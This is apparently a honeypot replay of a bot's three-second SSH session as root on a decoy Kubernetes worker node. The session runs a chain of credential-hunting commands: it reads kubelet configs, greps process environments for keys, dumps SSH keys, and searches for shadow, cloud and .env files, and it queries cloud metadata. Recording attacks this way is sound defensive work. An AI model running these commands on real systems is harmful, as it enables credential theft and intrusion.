← All sessions
Ended · replayGot inTyped by a botevery command without a terminal

Got in and went looking for secret keys

on Sköndal, Swedenfern-cicada-3i from Bad Soden am Taunus (Neuenhain), Germanyseen 25 times this weekSSH-2.0-paramiko_5.1.0

root@se-sto-oracle-1 · 🇸🇪 Sköndal
connected from 🇩🇪 Bad Soden am Taunus (Neuenhain), Germany · SSH-2.0-paramiko_5.1.0
root@se-sto-oracle-1's password: 
Logged in as root
root@se-sto-oracle-1:~# echo ===KUBELET===; ls -la /etc/kubernetes/ 2>/dev/null; cat /etc/kubernetes/kubelet.conf 2>/dev/null; cat /etc/kubernetes/admin.conf 2>/dev/null; cat /etc/kubernetes/bootstrap-kubelet.conf 2>/dev/null
===KUBELET===
total 12
drwxr-xr-x  2 root root 4096 Nov 16 22:07 .
drwxr-xr-x 70 root root 4096 Nov 16 22:07 ..
-rw-------  1 root root  506 Oct 11 02:07 kubelet.conf
apiVersion: v1
kind: Config
clusters:
- name: parcelwise-prod
  cluster:
    server: https://10.44.0.10:6443
    certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0t
contexts:
- name: system:node:se-sto-oracle-1
  context:
    cluster: parcelwise-prod
    user: system:node:se-sto-oracle-1
current-context: system:node:se-sto-oracle-1
users:
- name: system:node:se-sto-oracle-1
  user:
    client-certificate-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0t
    client-key-data: f1dad815a6fa1f5b12269b08e8978eac
root@se-sto-oracle-1:~# echo ===K8SSECRETS===; grep -rl "kind: Secret" /etc/kubernetes /var/lib/kubelet 2>/dev/null | head -20
===K8SSECRETS===
root@se-sto-oracle-1:~# echo ===VLK===; ls -la /var/lib/kubelet/ 2>/dev/null; cat /var/lib/kubelet/kubeconfig 2>/dev/null; cat /var/lib/kubelet/config.yaml 2>/dev/null | head -60
===VLK===
total 12
drwxr-xr-x  2 root root 4096 Nov 16 22:07 .
drwxr-xr-x 24 root root 4096 Nov 16 22:07 ..
-rw-r--r--  1 root root  388 Oct 11 02:07 config.yaml
apiVersion: kubelet.config.k8s.io/v1beta1
kind: KubeletConfiguration
address: 0.0.0.0
port: 10250
readOnlyPort: 0
authentication:
  anonymous:
    enabled: false
  webhook:
    enabled: true
authorization:
  mode: Webhook
clusterDomain: cluster.local
clusterDNS:
- 10.96.0.10
containerRuntimeEndpoint: unix:///run/containerd/containerd.sock
cgroupDriver: systemd
rotateCertificates: true
root@se-sto-oracle-1:~# echo ===CENV===; for f in /proc/1/environ /proc/*/environ; do echo ---$f; tr "\0" "\n" < "$f" 2>/dev/null | grep -iE "key|token|secret|pass|AKIA|ocid" | head -20; done 2>/dev/null | head -80
===CENV===
---/proc/1/environ
---/proc/*/environ
root@se-sto-oracle-1:~# echo ===ALLSSH===; for f in /root/.ssh/id_rsa /root/.ssh/id_ed25519 /root/.ssh/id_ecdsa /root/.ssh/*.pem; do [ -f "$f" ] && echo ---FILE:$f && cat "$f"; done 2>/dev/null
===ALLSSH===
root@se-sto-oracle-1:~# echo ===AUTHKEYS===; cat /root/.ssh/authorized_keys 2>/dev/null
===AUTHKEYS===
root@se-sto-oracle-1:~# echo ===HIST===; cat /root/.bash_history 2>/dev/null | tail -100; cat /home/*/.bash_history 2>/dev/null | tail -50
===HIST===
apt update
apt install -y containerd runc conntrack socat ebtables iptables curl
systemctl enable --now containerd
mkdir -p /etc/containerd
containerd config default > /etc/containerd/config.toml
nano /etc/containerd/config.toml
systemctl restart containerd
apt-mark hold kubelet kubeadm kubectl
kubeadm version
kubectl version --client
kubeadm token list
systemctl status kubelet
journalctl -u kubelet --since yesterday
crictl ps
crictl pods
iptables -t nat -L KUBE-SERVICES -n
sysctl net.bridge.bridge-nf-call-iptables
exit
ifconfig 2>/dev/null || cat /proc/net/fib_trie 2>/dev/null | grep -A1 '32 host' | head -20
; echo ___CMDDONE___$?
cat /etc/os-release 2>/dev/null; echo ==; cat /etc/hosts 2>/dev/null; echo ==; route -n 2>/dev/null || cat /proc/net/route 2>/dev/null | head
; echo ___CMDDONE___$?
cat /etc/passwd
; echo ___CMDDONE___$?
wc -l /etc/shadow 2>/dev/null; grep -vE '^[^:]+:[!*]' /etc/shadow 2>/dev/null | head -40
; echo ___CMDDONE___$?
ls -la /home/ 2>/dev/null; echo ==; getent passwd | awk -F: '$3>=1000 && $3<65534{print $1,$3,$6,$7}'
; echo ___CMDDONE___$?
cat /etc/sudoers 2>/dev/null | grep -vE '^#|^$' ; echo ==LS==; ls -la /etc/sudoers.d/ 2>/dev/null; for f in /etc/sudoers.d/*; do echo ---$f; cat $f 2>/dev/null; done
; echo ___CMDDONE___$?
echo ROOT_KUBE; ls -la /root/.kube/ 2>/dev/null; for f in /root/.kube/config /root/.kube/admin.conf; do echo ---$f; cat $f 2>/dev/null; done; echo USER_KUBE; for d in /home/*/.kube; do echo ---$d; ls -la $d 2>/dev/null; cat $d/config 2>/dev/null; done
; echo ___CMDDONE___$?
echo HELLO; grep '^root:' /etc/shadow
echo ___CMDDONE___$?
find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -type f \( -name '*.env' -o -name '.env' -o -name '*.pem' -o -name '*.key' -o -name '*.kdbx' -o -name 'credentials' -o -name 'config' -o -name '*.yml' -o -name '*.yaml' -o -name '*.json' -o -name '*.sql' -o -name '*.bak' -o -name '*.conf' -o -name '.git-credentials' -o -name '*Login Data*' -o -name 'Cookies' -o -name '*history*' \) -print 2>/dev/null | head -300
echo ___CMDDONE___$?
for d in /root /home/*; do echo ===$d===; ls -la $d 2>/dev/null; done
echo ___CMDDONE___$?
find / -xdev \( -path /proc -o -path /sys \) -prune -o -type f \( -name 'id_rsa' -o -name 'id_ed25519' -o -name 'id_ecdsa' -o -name 'id_dsa' -o -name 'known_hosts' -o -name 'authorized_keys' -o -name '*.ppk' \) -print 2>/dev/null | head -100
echo ___CMDDONE___$?
find / -xdev \( -path /proc -o -path /sys \) -prune -o -type d -name '.oci' -print 2>/dev/null | head -50
echo ___CMDDONE___$?
find / -xdev \( -path /proc -o -path /sys \) -prune -o -type d -name '.aws' -print 2>/dev/null | head -50
echo ___CMDDONE___$?
ls -la /var/run/docker.sock 2>/dev/null; echo ==; which docker crictl ctr nerdctl kubectl 2>/dev/null; echo ==; ls -la /var/lib/docker /var/lib/containerd 2>/dev/null | head -40
echo ___CMDDONE___$?
cat /home/marta/.bash_history
echo ___CMDDONE___$?
cat /root/.bash_history
echo ___CMDDONE___$?
cat /home/marta/parcelwise/values.yaml
echo ___CMDDONE___$?
cat /etc/kubernetes/kubelet.conf 2>/dev/null | head -40; echo ===KCFG===; cat /var/lib/kubelet/config.yaml 2>/dev/null | head -40
echo ___CMDDONE___$?
export KUBECONFIG=/home/marta/.kube/config; kubectl --kubeconfig=/home/marta/.kube/config get nodes 2>&1 | head -20; echo '[NS]'; kubectl --kubeconfig=/home/marta/.kube/config get ns 2>&1 | head -30
echo ___CMDDONE___$?
echo API=10.44.0.10:6443; curl -sk --max-time 8 -H 'Authorization: Bearer b19bbaef25257f6f4c6aa2e55ee0c94e' https://10.44.0.10:6443/api/v1/namespaces 2>&1 | head -c 3000
echo ___CMDDONE___$?
echo AAA; printf 'BBB\n'; /bin/echo CCC; echo $?; date; ps aux | head -5; echo DNS; getent hosts google.com 2>&1; echo DONE
echo ___CMDDONE___$?
ss -tlnp 2>/dev/null | head -20; netstat -tlnp 2>/dev/null | head -20
echo ___CMDDONE___$?
crictl ps -a 2>&1 | head -30; echo ===PODS===; crictl pods 2>&1 | head -30
echo ___CMDDONE___$?
ls -la /run/containerd/containerd.sock 2>&1; ls -la /var/lib/containerd/io.containerd.grpc.v1.cri/containers/ 2>&1 | head; echo ===; ctr -n k8s.io containers list 2>&1 | head -20
echo ___CMDDONE___$?
env | grep -iE 'AWS|OCI|TOKEN|SECRET|KEY|PASS' 2>/dev/null; echo ==PROC1==; cat /proc/1/cmdline 2>/dev/null | tr '\0' ' '; echo
echo ___CMDDONE___$?
curl -s --max-time 5 -H 'Metadata-Flavor: Google' http://169.254.169.254/computeMetadata/v1/instance/ 2>&1 | head -20; echo '===IMDSv2==='; curl -s --max-time 5 http://169.254.169.254/opc/v1/instance/ 2>&1 | head -20; echo '===AWS==='; curl -s --max-time 5 http://169.254.169.254/latest/meta-data/ 2>&1 | head -20; echo EOM
echo ___CMDDONE___$?
file /bin/ls /usr/bin/find /usr/bin/curl /bin/bash /usr/bin/date 2>&1 | head -20; echo ==; echo 'int main(){return 0;}' > /dev/null; echo NOCWRITE
echo ___CMDDONE___$?
cat /etc/resolv.conf 2>&1; echo ==; getent hosts github.com 2>&1; echo RC=$?; echo ==; cat /proc/net/route 2>&1 | head -10
echo ___CMDDONE___$?
systemctl status kubelet --no-pager 2>&1 | head -25; echo ==; ls -la /var/lib/kubelet/ 2>&1 | head -30; echo ==CERTS==; ls -la /etc/kubernetes/pki/ 2>&1 | head -30
echo ___CMDDONE___$?
cat /etc/shadow 2>&1
echo ___CMDDONE___$?
crontab -l 2>&1; echo ===ETC_CRONTAB===; cat /etc/crontab 2>&1; echo ===CROND===; ls -la /etc/cron.d/ /etc/cron.daily/ 2>&1 | head -30; echo ===SYSTEMD_TIMER===; systemctl list-timers --no-pager 2>&1 | head -20
echo ___CMDDONE___$?
for d in /opt /srv /var/backups /mnt /media; do echo ===$d===; ls -laR $d 2>&1 | head -40; done
echo ___CMDDONE___$?
kubectl get nodes -o wide
kubectl get pods -A
kubectl describe node se-sto-oracle-1
kubectl -n dispatch get deploy
kubectl -n dispatch logs deploy/dispatch-api --since=30m
kubectl -n dispatch logs dispatch-api-7b8f6c8d9d-q2m4p --previous
kubectl get events -A --sort-by=.lastTimestamp | tail -n 30
sudo journalctl -u kubelet --since "2 hours ago"
sudo crictl ps
sudo crictl pods
kubectl -n dispatch rollout history deployment/dispatch-api
vim ~/parcelwise/values.yaml
kubectl -n dispatch diff -f ~/parcelwise/values.yaml
kubectl -n dispatch get secret dispatch-db -o yaml
kubectl config current-context
kubeadm token list
sudo systemctl status containerd kubelet
kubectl get nodes
kubectl get pods -A
exit
root@se-sto-oracle-1:~# echo ===ETCOCI===; find /etc/oci /opt/oci /var/lib/oci -type f 2>/dev/null | head; ls -la /etc/oci 2>/dev/null
===ETCOCI===
root@se-sto-oracle-1:~# echo ===CLOUD===; cat /etc/cloud/cloud.cfg.d/*.cfg 2>/dev/null | head -80; ls -la /root/.config 2>/dev/null
===CLOUD===
total 12
drwx------ 3 root root 4096 Nov 16 20:12 .
drwx------ 5 root root 4096 Nov 16 20:12 ..
drwx------ 2 root root 4096 Nov 16 20:12 procps
root@se-sto-oracle-1:~# echo ===MOUNT===; cat /etc/fstab 2>/dev/null; mount | grep -iE "nfs|cifs|oci|fuse" | head
===MOUNT===
# /etc/fstab: static file system information.
PARTUUID=b3ee57d0-0e13-da8b-2b83-8554e90a346f /boot/efi vfat defaults 0 0
PARTUUID=e7a444b0-2a9c-d1c2-6f5b-ee66831cb371 / ext4 rw,discard,errors=remount-ro,x-systemd.growfs 0 1
/dev/vdb1	/var/lib/containerd	auto	defaults,nofail,x-systemd.after=cloud-init.service,comment=cloudconfig	0	2
fusectl on /sys/fs/fuse/connections type fusectl (rw,nosuid,nodev,noexec,relatime)
root@se-sto-oracle-1:~# echo ===CRON===; crontab -l 2>/dev/null; ls -la /etc/cron.d/ 2>/dev/null; for f in /etc/cron.d/*; do echo ---$f; cat "$f" 2>/dev/null; done
===CRON===
total 16
drwxr-xr-x  2 root root 4096 Nov 16 20:01 .
drwxr-xr-x 70 root root 4096 Nov 16 22:07 ..
-rw-r--r--  1 root root  102 Mar 30  2023 .placeholder
-rw-r--r--  1 root root  201 Apr  2  2023 e2scrub_all
---/etc/cron.d/e2scrub_all
30 3 * * 0 root test -e /run/systemd/system || SERVICE_MODE=1 /usr/lib/x86_64-linux-gnu/e2fsprogs/e2scrub_all_cron
10 3 * * * root test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r
root@se-sto-oracle-1:~# echo ===FIND===; find / -xdev \( -name "config" -path "*/.oci/*" -o -name "*.pem" -o -name "credentials" -path "*/.aws/*" -o -name "id_rsa" -o -name ".env" \) -type f 2>/dev/null | grep -vE "/usr/|/etc/ssl|ca-certificates" | head -60
===FIND===

Disconnected · 3s inside

0:03 / 0:03
What they found: A container cluster's worker nodeOne machine of a small company's self-hosted container cluster, running its customer-facing services.

Live updates paused

Reconnecting…

Trying again in seconds.

The connection is gone. Reload the page to see the latest.

Paused to save the server’s work while you were away.

Couldn’t resume. Reload the page to see the latest.